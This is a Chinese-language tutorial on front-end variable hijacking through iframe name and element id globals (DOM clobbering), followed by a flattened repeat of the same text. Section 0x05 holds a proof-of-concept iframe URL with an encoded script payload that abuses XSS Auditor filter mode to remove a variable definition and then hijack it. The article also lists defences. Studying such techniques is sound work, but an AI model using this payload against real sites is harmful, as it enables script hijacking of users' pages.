前端中存在的变量劫持漏洞
字数 1015 2025-08-26 22:11:51

前端变量劫持漏洞分析与利用

0x00 基础知识:iframe窗口对象访问

在页面存在iframe时,父子页面可以相互获取对方的window对象:

父页面访问子页面

document.getElementById("iframe1").contentWindow; // 获取iframe的window对象
window.frames[0]; // 获取iframe的window对象
window[0]; // window[0]是子页面的window对象

子页面访问父页面

window.parent; // 获取上一级的window对象
window.top; // 获取最顶级容器的window对象

同源策略限制

  • 同源情况下:可以获取任何内容(document、name、location等)
  • 非同源情况下:
    • frames:可读但不可写(可读取不同域子页面中iframe的window对象)
    • location:可写但不可读(父子可以相互修改彼此的location)

0x01 跨层级location修改

利用frameslocation特性,可以实现跨层级location修改:

<!-- 父页面 localhost:80/index.html -->
<iframe name="viewer" src="http://localhost:8888/view.html" onload="loaded(this)"></iframe>
<script>
function loaded(x) {
    x.contentWindow.frames[0].location = "http://www.baidu.com/";
}
</script>

<!-- 子页面 localhost:8888/view.html -->
<iframe name="viewer" src="http://blog.wonderkun.cc/"></iframe>

0x02 ID属性与全局变量

浏览器特性:

  1. 所有全局变量都存储在window对象中
  2. 具有id属性的DOM对象也会作为全局变量存储在window中
<h1 id="test"></h1>

在控制台:

test; // 返回<h1 id="test"></h1>
window.test; // 同上

ID覆盖测试

  • 无法覆盖已定义的变量
  • 可以定义新的变量
<h1>test</h1>
<h2>test2</h2>
<script>
test = "ddd";
document.getElementsByTagName("h1")[0].setAttribute('id', "test");
document.getElementsByTagName("h2")[0].setAttribute('id', "test2");
</script>

重复ID情况

<h1 id="test"></h1>
<h2 id="test"></h2>

控制台:

test; // 返回包含两个元素的HTMLCollection

0x03 iframe的name属性

iframe的name属性也会注册为全局变量:

<iframe name="viewer" src="./view.html"></iframe>

控制台:

viewer; // 返回iframe的window对象

重复name情况

<iframe name="test" src="http://B.com/B.html"></iframe>
<iframe name="test" src="http://C.com/C.html"></iframe>

控制台:

test; // 只返回第一个iframe的window对象

0x04 name与ID优先级

无论顺序如何,name的优先级高于id:

<!-- 情况1 -->
<iframe name="test" src="http://B.com/B.html"></iframe>
<h1 id="test"></h1>

<!-- 情况2 -->
<h1 id="test"></h1>
<iframe name="test" src="http://B.com/B.html"></iframe>

控制台:

test; // 始终返回iframe的window对象

0x05 漏洞利用场景

场景描述

  1. A.com/A.html 加载 B.com/B.html
  2. B.com/B.html 加载 C.com/C.html
  3. B.html存在未定义的全局变量
<!-- A.com/A.html -->
<iframe src="http://B.com/B.html"></iframe>

<!-- B.com/B.html -->
<iframe src="http://C.com/C.html"></iframe>
<h1 onclick="test()">click me</h1>
<script>
VUL = "Hijack me";
</script>
<script>
function test(){
    console.log(VUL);
}
</script>

利用POC

<script>
function loaded(x){
    x.contentWindow.frames[0].location = "http://A.com/index.html"; // 修改为同源
    setTimeout(function(){
        x.contentWindow.frames[0].name = "VUL"; // 劫持全局变量
    }, 1000);
}
</script>
<iframe src="http://B.com/B.html?xss=%3Cscript%3E%0A%20%20%20%20%20VUL%20=%20%22Hijack%20me%22;%0A%3C/script%3E" onload="loaded(this)"></iframe>

利用条件

  1. 利用Chrome 74+的XSS Auditor filter模式移除VUL定义
  2. 通过修改iframe的name属性劫持全局变量

0x06 防御措施

  1. 为iframe添加sandbox属性限制权限
  2. 避免在全局作用域定义敏感变量
  3. 使用严格模式("use strict")防止意外创建全局变量
  4. 对用户输入进行严格过滤
  5. 使用CSP(Content Security Policy)限制资源加载

0x07 总结

该漏洞利用了几个关键点:

  1. iframe的跨域特性(frames可读、location可写)
  2. DOM元素的id和iframe的name会注册为全局变量
  3. name属性优先级高于id
  4. 通过修改iframe的name属性可以劫持未定义的全局变量
  5. 结合Chrome XSS Auditor的filter模式移除变量定义

虽然利用面有限,但在特定场景下可能造成安全问题,开发者应当了解这些特性并采取适当防护措施。

前端变量劫持漏洞分析与利用 0x00 基础知识:iframe窗口对象访问 在页面存在iframe时,父子页面可以相互获取对方的window对象: 父页面访问子页面 子页面访问父页面 同源策略限制 同源情况下:可以获取任何内容(document、name、location等) 非同源情况下: frames :可读但不可写(可读取不同域子页面中iframe的window对象) location :可写但不可读(父子可以相互修改彼此的location) 0x01 跨层级location修改 利用 frames 和 location 特性,可以实现跨层级location修改: 0x02 ID属性与全局变量 浏览器特性: 所有全局变量都存储在window对象中 具有id属性的DOM对象也会作为全局变量存储在window中 在控制台: ID覆盖测试 无法覆盖已定义的变量 可以定义新的变量 重复ID情况 控制台: 0x03 iframe的name属性 iframe的name属性也会注册为全局变量: 控制台: 重复name情况 控制台: 0x04 name与ID优先级 无论顺序如何,name的优先级高于id: 控制台: 0x05 漏洞利用场景 场景描述 A.com/A.html 加载 B.com/B.html B.com/B.html 加载 C.com/C.html B.html存在未定义的全局变量 利用POC 利用条件 利用Chrome 74+的XSS Auditor filter模式移除VUL定义 通过修改iframe的name属性劫持全局变量 0x06 防御措施 为iframe添加sandbox属性限制权限 避免在全局作用域定义敏感变量 使用严格模式("use strict")防止意外创建全局变量 对用户输入进行严格过滤 使用CSP(Content Security Policy)限制资源加载 0x07 总结 该漏洞利用了几个关键点: iframe的跨域特性(frames可读、location可写) DOM元素的id和iframe的name会注册为全局变量 name属性优先级高于id 通过修改iframe的name属性可以劫持未定义的全局变量 结合Chrome XSS Auditor的filter模式移除变量定义 虽然利用面有限,但在特定场景下可能造成安全问题,开发者应当了解这些特性并采取适当防护措施。